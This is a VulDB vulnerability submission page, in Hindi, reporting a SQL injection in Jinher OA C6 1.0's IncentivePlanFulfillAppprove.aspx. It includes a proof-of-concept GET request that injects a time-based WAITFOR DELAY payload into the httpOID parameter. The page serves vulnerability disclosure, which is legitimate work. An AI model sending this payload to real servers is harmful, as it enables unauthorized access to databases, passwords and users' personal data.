| शीर्षक | Beijing Jinher Network Co., Ltd Jinher OA v1.0 SQL Injection |
|---|
| विवरण | IncentivePlanFulfillAppprove.aspx In addition to exploiting the SQL injection vulnerability to obtain information in the database (such as the administrator's background password and the site's user personal information), attackers can even write Trojans to the server in the case of high privilege to further obtain server system permissions.
poc:
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfillAppprove.aspx/?httpOID=1;WAITFOR+DELAY'0:0:4'-- HTTP/1.1
Host: |
|---|
| स्रोत | ⚠️ https://flowus.cn/share/75512a54-e78f-4bfb-80e7-236521b43a02?code=HC3R4E |
|---|
| उपयोगकर्ता | afish (UID 82290) |
|---|
| सबमिशन | 07/03/2025 07:14 AM (2 साल पहले) |
|---|
| संयम | 21/03/2025 07:29 AM (14 days later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 300567 [Jinher OA C6 1.0 IncentivePlanFulfillAppprove.aspx httpOID SQL इंजेक्शन] |
|---|
| अंक | 20 |
|---|